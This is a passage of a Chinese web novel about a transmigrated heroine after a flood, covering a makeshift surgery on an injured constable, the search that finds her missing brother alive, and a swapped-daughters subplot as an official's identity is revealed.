“里头混了土鳖虫,所以味道冲,”何大夫放下医药箱,拉开暗格重新配药,“现在山上资源短缺,就我一个大夫,老人家,我未必每次都有闲工夫给你重新配药。” 老者瞥了他一眼:“这药是你配的?” “是啊?”何大夫道,“刚不说了吗?山上只我一个大夫。” “你师从何人啊?” 何大夫满脸黑线。 老者鼻腔冷哼一声:“谅你也没脸说,辱没师门的玩意儿。” 何大夫瞪大眼,伸手指着对方道:“老人家,你好没道理,我们好心好意救你,你不感恩也就罢了,怎么能骂人呢?” 要不是看对方年纪大,又有伤在身,何大夫再好的脾气也收不住。 “骂你有错吗?”老者抖着掌心的青色碎药草,“土鳖虫擅治瘀血重症,却容易引起出血,我今年多大了,你给我用这药,是想害我命吗?” 何大夫沉默半晌,随即一拍脑袋。 糊涂了。 今日救治的伤者太多,大多是外伤,年纪普遍在中年,年纪大的老者能从洪灾中活下来的太少太少。 一忙起来,听说又来了个被大树压到腿昏迷的,赶紧带着草药过去了,一时间忘了对方的年纪是否受得了土鳖虫猛烈的药效。 何大夫连忙道歉:“对不住,实在对不住,老人家,我重新跟您配药。” 见对方态度尚可,知错就改还有救,老者的神色没了刚才的咄咄逼人,和缓下来屋里气氛也不紧张了。 程诺正好这时推门而入,将手里的两根木棍递上前:“你要的木棍,找了好久,正好何大夫在这儿,需要什么草药,你跟他说吧。” 何大夫盯着老者手上的木棍,一脸疑惑。 程诺摊摊手,她也不知对方想干什么。 “他好像懂医。”何大夫用口型道。 程诺想起当初的药丸,算命的懂医书是正常的吗? 两人正无声交流之际,老者已经将木棍绑在受伤的腿上,等何大夫意识到对方想做什么,阻止已经来不及了。 “不可!” 只听“咔嚓”一声,是骨头归位的声音。 何大夫忙上前查看伤势:“哦呦,你刚才还教训我年纪大不能用土鳖虫这等霸道药材,一转头你徒手给自己正骨啊!老人家,你得六七十了吧?不要命了?” 老者忍着疼,呼出一口气,睨着眼睛看他:“我跟你能一样?十个你加起来,也比不上我。” 何大夫、程诺:好狂的老头。 很快,何大夫意识到对方所言非虚,老者原本被大树砸错位的骨头,完全复原,原本需要将养百来天,现在只需两三日便能恢复如初。 即便是济世堂的关大夫,也没有这样好的手艺。 眼前老人其貌不扬,到底是谁? “四娘,你不是说他是算命的吗?”何大夫将程诺拉到墙角。 程诺一本正经:“是啊,我上一次见他,他在镇上给人算命,因为吃馄饨不给钱,被摊主追着打,是我救的他,后来他给我算了一卦,烂死了,一点都不灵,就是个招摇撞骗的神棍。” 何大夫满脸不信:“不会吧,他的医术……” 话没说完,程云突然从外头进来,急冲冲道:“何大夫,十七叔又救了个人,看情况伤得很重,您快去瞧瞧。” 何大夫立马收拾药箱,临走前多看了躺在草席上的老者一眼,转身离开。 十七带人在山脚下搜寻,试图找到程二顺的踪迹。 程二顺没找到,却搜到不少村民的尸体。 死透了的,统一运到西山脚下,洪灾过后容易引发疟疾,主要原因是尸体腐烂,加上动物粪便滋生的细菌。 最好的方法是集中处理,后期大面积消毒,尽量减少尸体对空气的污染。 找到的人当中,也有少部分幸运的,尚有一丝气息。 这些人最终能不能活,得看何大夫能不能救。 比如现下躺在草席上的汉子,被湍急河流中的断木当胸击中,捞上来时,面色发白,唇边不断溢出鲜血,可扒开湿透的衣衫,胸口却只有一片淤青,不见伤口。 何大夫把完脉,摇头叹气:“伤在内腑,肝脾破裂,血淤在腹,除非医圣来,否则……” 程诺认识受伤的男人,之前灵水镇摆摊时被流氓刁难,是这位姚头儿帮忙,她们的卤肉摊才没有被多收摊位费。 程诺记得,她是灵水镇的衙役,怎么会被洪水卷到大梨村来。 待看清男人身上统一服饰后,猜想姚头儿应该也去前线抗洪了。 没准他会知道程二顺的下落。 “有没有别的办法?”程诺语调焦急。 何大夫摇头:“这种伤势,寻常汤药根本无用,除非……” “破腹,止血,缝合。”一道沉稳嗓哑的男声突然响起。 人群分开,一个穿着不合身麻衣的老者拄着拐杖,一瘸一拐走上前,众人见他眼生。 “你是?”程村长眯着眼睛问,“你是四娘从山脚下救回来的那个人吧?” 老者没搭话,费劲地蹲下身,指尖在姚头儿腹部轻轻一按,昏迷中的男人顿时痉挛,又呛出一口血。 “血瘀气滞,再拖半个时辰,大罗神仙也救不了。”老者抬眸,目光落在何大夫身上,淡淡道,“你来给他开腹。” 何大夫身子一抖:“我?” 老者瞪他:“不是你还是我?你看我现在像是能动刀的吗?不然你指望谁,她吗?” 程诺被突然点名,缩了缩脖子:“砍人我会,救人我不会。” “愣着干什么,还不赶紧准备烧酒、针线,还有……”老者摸出一把薄如蝉翼的小刀,“记得用麻药,让他彻底昏死过去。” 不知为何,何大夫下意识郑重接过刀,从未如此紧张过,从医数十年,他从未给人开胸过,人生头一次,还是在如此恶劣的条件下,怎能不让他心慌。 “四娘,你别走,陪着叔,叔有点紧张。” 还没开始,何大夫已经开始流汗了。 程诺瞬间调整状态,将自己带入到手术台上专门给主刀医生擦汗的小护士身上,严肃道:“何主刀,一切听你吩咐。” 一切准备就绪,众人发现没有麻药。 那还搞个鸡毛。 开膛破肚的痛感,是个人都受不了。 巧了,程诺上辈子在末世,麻药是及其流通的物品,不仅可以用来击倒敌人,连她自己都没少用。 她只用扫一眼姚头儿,便清楚用量。 一针麻药推进去,何大夫果真见人昏睡过去,再也没醒来过。 刀刃化开皮肤的瞬间,伤者没有反应,何大夫冲程诺露出赞许的微笑。 “专心!” 老者的厉呵在二人耳边响起,何大夫立即调整状态,投身手术中。 何大夫不愧做了几十年大夫,手腕极稳,挑开肌理的动作像是在翻书。 挑剔如老者,也露出一丝欣慰的笑。 越到皮肤里层,何大夫的精神越是高度关注,头上跳跃的青筋展现出他此时的激动,完全没了刚开始的紧张,像是发现沙漠中饥渴的旅人,突然发现一片绿洲,连瞳孔都散着兴奋的光。 程诺不停给他擦拭额角的泪珠,听从吩咐,快速交替手术工具。 血色涌出时,她迅速用煮过的棉布按压,何大夫的手已经摸到破裂的脾脏。 “找到了!” 老者:“缝上,动作要快。” 针尖穿过脏器发出的声音,在程诺耳边想起,像是昨晚她缝的那块沾了水的狼皮,她额角不自觉流出细汗,她却不敢眨眼。 姚头儿是第二日下午醒来的,照顾他的程云,一见他睁眼,立马跑出去喊人。 程诺和何大夫前后脚进来。 何大夫:“感觉怎么样?” 程诺:“你现在能说话吗?” 姚头儿缓了好一会儿,见眼前人和场景都十分陌生。 何大夫解释:“你被洪水冲到我们这儿,我们救你了,你伤得很重,需要好好休息。” 洪水。 姚头儿想起来了,堤坝塌了,他们这群负责抗洪的士兵,被官府派到堤坝前用身体抵抗洪水。 官府的人说,他们是勇士,是为民为朝廷的英雄,只要能活下来,就给他们请功,即便是死了,也会有丰富的抚恤金送到亲人手上。 他老娘说,他小时候就是洪水中被人救下来的。 那人为救他送了命,如今该是他回报的时候。 洪水将他和身边的队友卷上天时,他以为自己死定了,没想到命大,竟然活了下来。 “多谢。”洪头儿唇色苍白,还是硬挤出个笑,随即困意来袭,又想昏睡过去。 程诺见他能说话,焦急道:“姚头儿,姚头儿,你先别睡。” 姚头儿勉强睁开眼,见面前女子眼熟,但想不起来在哪见过:“姑娘认识我?” “认识,之前灵水镇见过一次,”可现在不是叙旧的时候,程诺拍拍他的脸,“听我说,程二顺,你知道这个人吗?在飞虹渡抗洪的程二顺,你知道他被洪水带去哪里了吗?” 洪头儿脸被拍得疼,想说不用打他,他暂时不睡了。 结果一听到程二顺的名字,眼睛陡然变得有神。 “二顺兄弟……” 程诺一看有戏:“你认识我二哥是不是?” 洪头儿的目光却很快暗淡下来,声音带上哭腔:“是我对不起二顺兄弟,要不是为了救我……二顺可以活下来的。” 堤坝塌陷,洪水肆虐,他们上百个汉子以身作墙,试图减缓洪水对永安县的侵蚀。 可洪水像是巨兽,人类的力量在他面前不堪一击,很快人墙倒了。 岸边的人丢下木板,树干,绳索,试图将他们拉上岸。 他却被脚下积石绊倒,洪水打头而来,千钧一发之际,是程二顺将手中的树干推给了他,自己被洪水席卷走了。 姚头儿却依靠树干,飘到大梨村,成功活了下来。 听到此处,程诺心凉了大半。 第一百八十二章 可惜我没他命好 “四娘……”何大夫看着跟行尸走肉般起身离开的程诺,心跟着揪紧,“不一定呢,还是有机会的。” 真的还有机会吗? 这回连程诺都不相信了。 何大夫赶忙给站在一旁的十七使眼色,没想到对方比他更有眼力,跟着程诺走出营帐。 屋外,大梨村百姓的身影忙忙碌碌,众人脸上有劫后余生的庆幸,也有家园被毁的担忧,好在人还在,只要人在,希望就在。 可她二哥呢,她二哥还在世吗? 十七端详身旁人的情绪,想说些话安慰她,到头来发现一切解释的语言都太苍白。 “我再去带人打捞,一定能找到的。”十七。 程诺摇摇头:“这么久了,说明我哥根本没飘到大梨村。”突然,她想到什么,拽着男人的胳膊激动道,“你说,会不会我哥在半道上就被人救了?” 十七皱眉:“过去好几日了,二顺兄弟多少会给家里报个信。” “万一他失忆了呢?”程诺目光灼灼,“就跟你之前一样。” 十七瞥了她一眼,脸上写满了无语:“我那是装的。” 程诺:“万一他张不开口,或者被人胁迫,救了一命以身相许,要娶别人家的女儿!” 十七揉了揉发涨的太阳穴:“比戏文都精彩。” 程诺像是被煮熟的虾,背脊一下子弯了。 十七见她蔫蔫的,神色不忍,手背搭在她头上,轻轻顺了两下:“要不我去别的村看看。” “我跟你一起去。”程诺立刻像打了鸡血一样,回去收拾东西,二人先从最近的云溪村打探。 云溪村满目疮痍,洪水过后庄稼稻田被毁,屋舍被击打得支离破碎。 从前炊烟袅袅,烟火繁盛的村庄,一夕之间宛若人间炼狱。 “我是村长……你们都要听我的……哈哈哈,我要升官了……”斜坡上,一个疯疯癫癫的男人,抱着一块木板,仰天大笑。 有人经过他时,他便拉住那人,举起木板道:“你考我,我全会背,律法我可熟了。” “神经病!” 村民家园被毁,本就伤心,见他疯癫无状,气上心头:“背你个死人脑袋,你不是村长吗?为什么大梨村的村长知道带村民上山避难,你却半个字不提?” “一天到晚跟大梨村比,比比比,比到最后村子毁了,你他么疯了一了百了,我们这些人怎么办!” 程诺看到孙村长被村民一脚踹进泥潭里,他第一反应不是爬起来,而是去抓那块浮木,仿佛那不仅是他救命的浮木,也是他人生的救赎。 村民骂了句“疯子”,头也不回地走了。 大梨村活下来的百姓,十不足一,程诺询问几个村民,都没见过程二顺。 大多数人懵懵的,麻木的,有人抱着孩子的尸体唱摇篮曲,有人沿着河岸一遍遍打捞父母的尸体,还有妻子在尸山血海中,一具具翻找丈夫的尸身…… “没有,走吧。”十七最后看了眼“炼狱”,带上程诺往下一个村镇出发。 灵水镇下面有三个村庄,竹园村百姓大多逃上鹿山,受灾远比其他两个村镇轻微,桑麻村有半数进了山,剩下的一半因为村中盛产桑麻树,大多数村民擅长爬树,活下来的人也不少,唯一最后一个村子,损失惨重。 程诺出发前,姚头儿托她帮忙,给家里的老母亲带个信,说他一切安好,不要惦记。 “他娘住哪个村?”十七问。 “旗岭村。”程诺应答。 十七脚步一顿:“那不就是灾情最严重的村庄!” 旗岭村的村长当初因为离鹿山太远,听完村长叔公的建议,立马否决。 肯定是没有通知百姓撤离的。 十七:“那他娘……” 程诺笑道:“别担心,说来巧,姚头儿去前线抗洪后,担心老母亲和媳妇待在家危险,将人送去隔壁桥儿镇的舅舅家,刚好躲过一劫。” “桥儿镇离得近,我们先去传信,没准那儿能找到二顺兄弟的线索。”十七从行囊里掏出面饼,又打开水袋递上前,“你从昨晚开始没吃东西。” 程诺没胃口:“不想吃。” 十七胳膊强硬地保持原态,不退不进,像是她不吃今天不会让她多走一步路。 “好,我吃。”程诺硬塞了两口,灌了水,一脸无奈道,“现在可以走了吧?” 男人勉强抬抬眼,看起来仍旧不甚满意。 “累了,再休息会儿。” 程诺:…… 她低头看了眼磨破后跟的鞋底,再看对方只是有些脏污的鞋面,明白他这是觉得她走太多路了,需要休息。 程诺突然道:“你说我二哥为我二嫂涉险,到底值不值?” 十七目光幽幽望向远方:“只要他愿意,就值。” “若你是他,你会愿意冒着没命的风险,完成心爱的人夙愿吗?哪怕只有一丝渺茫的机会,”程诺问。 十七许久后才回道:“我不知道。” “那说明你不是恋爱脑,”程诺拍拍他的肩膀,“你比我二哥强。” 十七嗤笑道:“可惜我没他命好,至少他丢了,会有人惦记。” “要是哪天你丢了,我也会找你的。”程诺站起身,拍拍身上的泥土,发现根本掸不干净,干脆放弃,反正她现在跟泥里捞出来的没两样。 大家都是泥人,谁嫌弃谁啊? 转身时,突然发现刚才还好好的男人,突然目光炯炯盯着她。 “怎么了?” 十七轻笑着摇摇头:“没什么。” 实则刚刚,程诺说出那句“要是哪天你丢了,我也会找你的”时,他承认,他触动了。 被人惦记的感觉很好。 至少证明他不是白来世上一趟,他也是有亲人朋友的。 这是从前的他,想都不敢想的。 一间砖瓦房农舍内,身穿鸭青色裙袄的女子正在廊下炉火上熬药,她身形偏胖,干活动作麻利,从背影看是个擅长操持家务的年轻姑娘。 “爹,药熬好了,你喂还是我喂?” 女子一手端碗,一手因太烫捏住耳尖。 吧嗒着旱烟的老汉,一看女儿的神色,便将她的小心思猜得七七八八。 “你喂,你喂,爹不跟你抢!” 女子憨笑出声,脸上浮现一坨红晕,但因肤色偏黑让人瞧不真切,端着药碗脚步生风跑进屋。 一旁浣洗衣物的妇人见了,笑着跟老汉打趣:“表妹这是瞧上那汉子了。” 老汉吐出一口翻腾的烟气,沧桑的五官因忧愁挤在一处,他叹了口气:“哎,就怕又是竹篮打水一场空。” 屋内,一片昏暗,榻上的男人紧闭双眼,已经昏睡了三四日。 鸭青色裙衫的女子正用削细的竹筒给他喂药,大夫说了,只要能喝药,便没有性命之忧。 药喂得有些快,苦涩的汤汁顺着嘴角留下,女子手忙脚乱给他擦拭唇边,再抬头时,正对一双睁开的瞳眸。 刚从昏迷中清醒,男人的瞳孔有些涣散,像是覆盖层薄雾,让人觉得有些傻傻的。 没多久,瞳孔收缩成一双墨玉珠,紧紧盯着面前人。 女子惊喜睁大眼,两颊的软肉因为开心,挤成一团,像是两个汤圆,黑色的汤圆。 屋里光线不好,加上外头是阴天,程二顺刚睁眼时,差点没注意身旁坐了个人。 待看清,方觉面前不是黑影,而是一座小山。 “你醒啦!”女子不自觉往男人方向挪了挪,“是我救了你。” 程二顺最后记忆,停留在将逃生木板给了身旁溺水的同伴,他却被洪水冲走了。 他动了动身子,突然觉得后脑勺剧痛无比,才想起来,失去意识前,脑袋好像砸到水中乱石。 “我的头……”他皱紧眉头。 女子解释:“你脑袋受了伤,昏迷三四天了。” “三四天?”程二顺大惊,他一觉竟然睡了这么久。 女子眨着兴奋的眼睛,试探道:“你还记得你是谁?家住哪里吗?” 男人愣怔片刻,就在女子瞳孔中的兴奋越来越浓时,他开了口:“我家在大梨村,姓程,在家行二,多谢姑娘救命,我……我得走了,家里人该担心了。” 结果还没坐起身,就因脑袋剧痛,整个人载在枕头上,被砸中的后脑更疼了。 “别动!你伤得很重,大夫说了得养一个月。”女子噘着嘴,说话没了刚开始的温柔,“那你成婚了吗?” 程二顺不明所以,老实道:“嗯,我跟媳妇还有一儿一女。” 女子彻底垮下脸,随即一想大梨村好像被洪水淹了,万一男人的妻子儿女…… 她摇了摇脑海中邪恶的想法,算了算了。 “既然醒了,自己喝吧。” 程二顺怀里被塞过来半碗没喝完的汤药,因女子推过来的力道不小,胸前撒湿了一片。 女子丧眉搭眼:“我让我爹来给你换衣服。”随即出了屋,“爹!他醒了,药撒身上了,你去帮帮他。” 洪亮的嗓音配上摔门而去的背影,震撼程二顺许久。 这姑娘,真结实啊! 一老汉推门而入,见到程二顺脸上带着客气的笑:“别介意,小女不懂事。” “不会不会,”程二顺的父女相救,感谢还来不及,当然不会介意,“老伯,我现在行动不便,能不能劳烦您帮我给家里带个信。” 老汉将烟袋放在桌上,随意坐下,“刚听你说,家在大梨村,哎,你可能不知道,大梨村如今的情况不好啊!” 他把官府泄洪的安排说给程二顺听,末了,骂了一句:“狗官!要泄洪也不提前告知老百姓,大伙儿能逃一个是一个,一帮酒囊饭袋,呸!” 程二顺将村里人提前到鹿山上避难的事说了,老汉眼里冒起亮光,称赞道:“还是你们村长有远见,刚你说你姓程?我马上就去大梨村替你送信。” 程诺按照姚头儿给的地址,找到他舅舅家门前时,刚好从院里出来个六十岁上下的老汉。 对方一听是给外甥保平安的,连忙把人领进屋。 “外甥媳妇,快,你男人来消息了!”老汉冲院里晾衣服的妇人道,“还不去把你婆母找回来,告诉她这个好消息,省得她从早到晚担惊受怕。” 妇人跟姚头儿很有夫妻相,都是天庭饱满大富大贵的长相,闻言,热情地招待程诺和十七坐下,倒好了茶洗好果子,这才出了门。 小院里不大,跟程诺先前在云溪村那套青砖瓦房差不多的装饰,算得上乡下不错的屋舍。 “喝茶喝茶。”老汉喜笑颜开,又冲屋内喊道,“飞燕,来客人了。” 飞燕,灵活小巧,光听名字就知道是个窈窕纤细的姑娘。 所以穿鸭青色衫子的女子走出来时,小山一样的身形,属实吓了程诺一跳。 更让她震惊的不是女子的长相,而是她拿在手上的衣物。 一件男子的外衫,领口上有块显眼的蓝色补丁,程诺记得很清楚,程二顺出发从军前,程母为了给他多收拾几件换洗衣物,将从前压箱底的旧衣服翻出来,其中一件领口破了个小洞。 程诺自告奋勇给二哥打补丁,结果越缝越丑,程母看不下去接过手,随手从另一件破到不能穿的蓝衣服上扯下一块补上,跟眼前女子手上这件一模一样。 剩下的蓝衣服撕扯碎布,现在还在程家灶台上躺着呢! 程诺健步上前,抓着衣衫,紧张道:“这衣服哪里来的?” 飞燕上下打量突然冒出来的女子,身子纤细窈窕,肤色是乡下不常见的白,羡慕地撅起嘴,刚想把衣服抢过来,视线突然扫到院中长身玉立的身影,一下子看痴了。 手中的外衫什么时候脱的手都不知道,人就这么飘到少年人面前,羞怯道:“这位公子,你生得好……” 结果话刚说到一半,刚才的女子横插一脚,不知哪来的力气,竟然将她撞到一边,语气里满是惊喜:“十七,真的是我二哥的衣服。” 十七眼里同样是笑意。 飞燕一瞧男人看女子的神色,好不容易死灰复燃的心又灭了。 天下花草都有主,偏偏没有一朵是她的。 气死了,今晚得多吃两个鸡腿! 老汉顾不上安慰闺女再次重创的小心灵,询问之下,哈哈大笑出声:“缘分,缘分这东西有时候真是妙不可言啊!” 程诺这时才知,她们在鹿山下救下老汉的外甥姚头儿,而姚头儿的表妹却恰好捡到了洪水中的程二顺。 程诺进屋看望程二顺,兄妹二人劫后余生,再见十分感慨。 听到妹妹一路从鹿山寻过来的情形,八尺壮汉也忍不住潸然。 “娘以为你没了,当场晕过去了,还好你活着,不然她怎么受得了!”程诺将官兵去榴花巷送抚恤金的事说了,“听说这次前线抗洪的官兵,十不存一。” 程二顺神色紧张:“那你嫂子呢?她哭了吗?” 第一百八十三章 朝廷任命的安抚使 程诺不想骗他:“一滴都没流。” 程二顺脸瞬间朔风过境,垮了下来,杯子直接拉过头顶,自闭了。 程诺看得想笑,晃着他的胳膊:“我还没说完呢。” “我不想听。” “真不想听?”程诺嘴角笑意藏不住,见被子里的人半天没动静,转头冲十七道,“算了,十七我说给你听。” 被子被悄悄掀起一角。 “大嫂告诉我,官兵来送抚恤金,二嫂说什么不肯收,非要见到二哥的尸体才罢休,”程诺学着顾寒栀的语气,嗓音清冷,竟学了个七八分像。 “妻,我是他的妻。” “他走时答应过我,会回来。” “我说了,这钱谁都不许拿!” 抑扬顿挫的语气,仿佛把人一下子带到那个下午,任谁都能看出来顾寒栀对程二顺是什么态度。 说没有感情,是不可能的。 程诺再看程二顺时,他已经不知道什么时候把脑袋伸出来,正一个人捂嘴傻笑。 他这一趟算是值当了。 回去后,少说是个三等功。 虽然不至于老婆孩子脱籍,至少在军队里有了头衔,三等功有了,一等功还远吗? “恋爱脑,没救了。”程诺评价一句,无奈地耸耸肩。 刚好姚头儿的母亲也回来了。 一听儿子伤得很重,现在很虚弱,姚母马不停蹄要跟十七走了。 桥儿镇离鹿山不近,靠走路要大半日功夫,加之路上泥泞不好行走,姚母是上了年纪的人,路上未必吃得消。 姚头儿的媳妇看起来也弱不禁风,听说还有孕在身,更不适合长途劳累。 最后是飞燕站出来,瘪瘪嘴:“我去吧。” 程诺望向飞燕父亲,见他点头,才道:“好,那劳烦飞燕姑娘跟这位十七兄弟先去鹿山,我要把我哥的消息带给我娘,防止她老人家担心。” 飞燕见她称呼男人兄弟,以为也是她哥,睨着眼睛偷偷打量男人,蜷着衣摆,忸怩道:“就我、跟他两个人啊,孤男寡女……” 程诺思索片刻,觉得有道理:“那十七你去给我娘报信,我带飞燕姑娘先回鹿山。” 十七点点头,同意了。 只有飞燕受伤的世界达成了。 “哎~我不是这个意思,我……” 程诺睁着大眼睛,一脸疑惑,不是这个意思吗? 飞燕脚一跺,地上陷入一个深坑,神情又纠结又羞臊:“哎呀,烦死了!”转身走了。 程诺后知后觉,询问身旁的男人:“她是不是想跟你一起走啊?” 十七眼尾一扬:“没有,就是你刚才理解的意思。” “真的吗?”程诺疑惑地挠挠脑袋,还想再问,却被姚母拉出屋子,她想再听一遍儿子被救的过程。 程二顺吃着十七递给他酸溜溜,不知从哪摘的果子,五官都皱了,还不忘吃瓜:“你要努力,我妹脑袋少根筋,你现在这样,什么时候才能当我家的上门女婿?” 十七斜眼瞧他:“我什么时候说过,要当上门女婿?” 程二顺:“不上门?那不行,这门婚事我不同意,我爹娘也不会同意的。” 十七:“……” —— 洪水肆虐对永安县的影响不小,朝廷很快派遣官员实施救灾工作。 鹿山上再见杉叔,是程诺没想到的。 只是这次他的身份不是隔壁常来蹭饭的邻居,而是朝廷的安抚使。 见到程诺安全活着,秦臻杉也很高兴:“一听清河镇有灾情,我立刻向朝廷请命,马不停蹄赶过来了,好孩子,没让叔失望,带领村民上山,是你的主意吧?” 程诺看着眼前男人一身绯色罗袍,腰间束一条素银腰带,显然是朝廷钦命之臣。 连日奔波,袍角溅了泥浆,靴底沾着草屑,却仍挺直如松,眉宇间凝着一股肃然之气。 样子还是当初的杉叔,气势却全然不同了。 “杉叔,你……”程诺先是愣怔,随即了然笑出声,“你们当大官的,是不是都喜欢微服私访那套啊?” “不是哦,我们当初是真的打算隐居的。” 一道熟悉的声音从程诺身后响起,她转身望去,顿时大喜,跑过去抱住那人,“杉婶,你也回来啦,我好想你啊!” “杉婶也想你。”耿娇娇张开双臂将人接住,揉着她的脑袋,现实对待家中小辈一般,“小盼儿呢,她还好吗?” “好,我一家人都好。”程诺眼眶不自觉溢满眼泪,“活着就是最好的。” “汪汪汪~” 原地跳跃转圈的大黑犬,热情地跟程诺打招呼,模样高兴极了。 “烈风,你长壮了哎~”程诺用力搓揉大黑犬的脑袋,对方舒坦地直摇尾巴,恨不得把整个脑袋全放在程诺掌心底下。 “汪汪汪!” 程父带着秦臻杉去探望鹿山上幸存的百姓。 百姓不知对方是谁,见穿着不俗,知道是个官,不敢得罪,又不想给好脸色。 每个人都主动和程父打招呼,但对秦臻杉不是白眼就是冷眼。 就是当官的下令毁了他们的家园,害得那么多的同乡丧命,多少家庭支离破碎,想让他们态度恭敬,没门! 程父看出大伙的异样,将秦臻杉带到单独营帐中,才解释:“乡亲们不是故意让你难堪的,实在是咱们这儿当官的太不是东西,新建的堤坝不到三年决了堤,洪水来了立马泄洪到咱们这儿,底层老百姓的命也是命,哪怕他们提前通知一声,也不至于……不至于死伤这么多!” 程父说得老泪纵横,秦臻杉听着又何尝不心酸。 他此次来的主要目的,除了安抚受灾百姓,更重要的是查出当年在飞虹渡和十月桥大坝修建过程中,中饱私囊贪污受贿的蛀虫。 朝廷就是因为有这些不作为的臭虫,在老百姓心中的风评才会变坏。 “程大哥,你放心,贪官的事交给我来做。我刚才看了,百姓对你颇为尊敬,以后安抚灾民,重振百姓家园的事,少不得需要您周旋。”秦臻杉态度放得极低,躬身求帮忙。 搞得程父臊红了脸,忙将人扶起来到一旁的草席坐下:“折煞我了,我是个没见过大世面的俗人,一辈子见过最大的官就是县太爷,但我再蠢也知道,你的官比县太爷大多了吧?” 程父眯着眼,嘴角含笑:“你都这么大官了,以前还跑到我家蹭吃蹭喝,不合适吧。” “那不是因为我们夫妻两不会做饭吗?”秦臻杉见他热络起来,两人之间因为骤然见面,身份间的隔阂也近了不少,“我没白吃啊,送你的桑落酒价值千金,一壶难求。” “什么?千金?”程父后悔地直跺脚,“早知道喝慢点,在嘴里多回味回味。” “不怕,等你去了京都,桑落酒管够,我请!”秦臻杉哈哈大笑。 程父也顺着话,撅着嘴怪嗔道:“京都那么多达官显贵,就怕到时候不知道去哪寻你哦!” 秦臻杉站起来身,挺直腰背,再次恭敬行了一礼:“小弟姓秦,在家行二,字臻杉,年轻时依仗祖辈功劳,得了个侯爷的虚闲,不提也罢,后来带妻出征,承蒙陛下信任,封了个大将军的官衔,现在是朝廷任命的安抚使。” 乖乖。 一连串官职下来,倒是把程父整不会了。 又是侯爷,又是大将军……每一个挺起来都老牛逼了。 “你、你坐下说话,站这么高,我抬头怪累的。”程父说话磕巴了。 秦臻杉忙坐下,也不管草席会不会弄脏他的官袍,“之前隐瞒是我不对,但我是有原因的。” “什么原因?” “爱妻年轻时,曾在破庙中诞孕一女,遭遇难产,当时幸得一对刚生产完的夫妻搭救,”每次提到这段经历,秦臻杉都为没能陪在妻子身边后悔不已,“孩子顺利降生,被我们带回家后,年岁渐长,家人却越发觉得不对,女儿跟我们长得并不相似,都怀疑是那夜,抱错了孩子。” 程父听得心惊:“还有这样的事,你可曾找到那对夫妻?” 秦臻杉摇头。 是了,要是找到,夫妻两也不用来大梨村隐居。 “想必你们当时查到的线索,最后在大梨村中断了吧?”程父问。 秦臻杉点头:“没错。我们一路追查线索,只能查到孩子五岁那年,那对夫妻曾经在大梨村出现过,此后的踪迹,任凭我们调动多人人力物力都查不到。” “三个大活人怎么会凭空消失,或许是知道你们在找人,故意隐藏了踪迹。”程父活了大半辈子,见过的人和事太多,不敢把人心往好处想。 秦臻杉:“我跟程大哥的猜测是一样的,劳烦您帮我留心,若有我女儿的消息,务必通知我。” 竹子搭成的帘帐外,程诺驻足良久。 秦臻杉,耿娇娇。 天啦,她怎么没意识到,杉叔杉婶竟然是她穿越的这本真假千金小说中,女主冯知意的亲生父母。 冯知意既然重生,为什么不直接当回侯府真千金,为何还要跟着孟南洲身边过清苦日子。 甚至现在还怀了孟南洲的孩子,彻底断了她上一世入主东宫,母仪天下的繁华路。 难道她不想嫁给书里的男主? 程诺脑海中迅速闪过一些片段。 冯知意当初被秦家人找回侯府,因为府中已经有了位知书达理,秀外慧中的嫡小姐,对比之下,冯知意上不了台面的乡下土包子作风,在府中受到不少白眼。 嫉妒和怨恨使她迷了心智,对这位抢了她富贵人生的假千金充满怨怼,多次陷害,撒泼,试图证明她在父母心中的位置是不可替代的,是远远高于假千金的。 然而秦将军夫妻是战场上厮杀拼搏下来的狠人,面对女儿的任性之举,十分痛心,给了很多次机会,然而冯知意依旧死性不改,最后更是试图用假千金的清白做文章,让她成为侯府的笑柄,整个京都的谈资。 悔恨不已的秦将军夫妇最后狠下心,将女儿送去庵堂,试图让她知晓错误,修身养性。 结果冯知意受不了佛堂的孤寂,偷跑下山,并以此结识了后来的景惠帝。 景惠帝看上了秦家兵权,也是真心爱慕冯知意,二人郎情妾意,很快缔结连理。 至于后来如何发展,程诺猜测应该是合家欢包饺子剧情,无外乎冯知意跟秦家摒弃前嫌,母女情深,假千金认祖归宗,真千金成了唯一嫡出的女儿。 程诺想不通,为何冯知意重生后迟迟没有回秦家,即便为了孟南洲以后仕途顺遂,她也应该借了侯府的东风,为情郎某一个好前程才对。 难道故事的后来,又发生了什么她不知道的事情。 毕竟小说结束,作为纸片人的冯知意等人的生活还在继续。 程诺这边纠结故事情节时,榴花巷那边的冯知意也收到了消息。 琼枝:“姑娘,查到了,新来的安抚使姓秦,是京都那边过来的,还带来了妻子,这会儿正在鹿山上调查受灾百姓。” 冯知意疲惫的瞳孔微微涣散,听到这话陡然收缩:“真的是他们。” 爹娘,真是好久没见。 女儿这次特地避开了你们,不知找不到亲生女儿的煎熬,是否会折磨得你们夜不能寐。 上一世,她好不容易回了秦家,却发现鸠占鹊巢。 那个本应该过着她清苦人生的女子,正花团锦簇,仆妇成群,最重要的是她周身的气度,是她怎么都学不来的。 秦家那对夫妻,让她喊她姐姐,让她们日后和睦相处。 笑话,她哪里来的姐姐,她明明才是侯府的大小姐。 上辈子的她就是被这份嫉妒迷了眼,以为荣华富贵是什么了不得的东西,处处要强,时时想把那女人比下去,结果把自己送进了庵堂。 庵堂太无聊了,青灯古佛,清粥白菜,清规戒律,全让她讨厌。 好在她逃了出去,却遇到了踏青游玩的皇子。 后来她才知道,即便没有她跟三皇子的偶遇,秦府也是注定有女子要进宫的。 从前秦家选定的人是秦清欢,后来被她抢了,秦清欢只能嫁给一个默默无闻的举子,她还沾沾自喜好一阵。 结果呢,秦清欢一早跟那举子郎情妾意,就等着有人能抢了联姻的婚事,她白给人做嫁衣。 后来,她在后宫尔虞我诈中耗尽心神,大火中烧死前夜,还听宫外传来的消息,秦清欢的丈夫为她请了诰命,连带着她早逝的父母也得到妥善的安葬,一双儿女也出落得出类拔萃。 再看她,争抢到最后,什么都没了。 重活一次,她决定不抢了,秦清欢当了二十年的侯府小姐,那就替她在入宫为妃为后吧,她上辈子经历的一切,秦清欢也得再受一遍,那才公平。 反正孟南洲迟早会高中状元,她何必跟一群女人,抢一个注定心尖上站满了人的男人? 琼枝看着自家姑娘越来越张扬的笑容,心颤颤的:“姑娘?您是认识这位安抚使大人吗?” 冯知意眨眨眼,刮了刮她的鼻梁:“我怎么会认识京都里来的官儿,我就是个小小讼师的女儿。” 她伸了个懒腰,又打算睡个回笼觉,突然想起什么。 第一百八十四章 卤肉摊重新开业 冯知意道:“南洲今日怎么还没来,我害喜得厉害,想吃福记的糕饼,让他去买。” 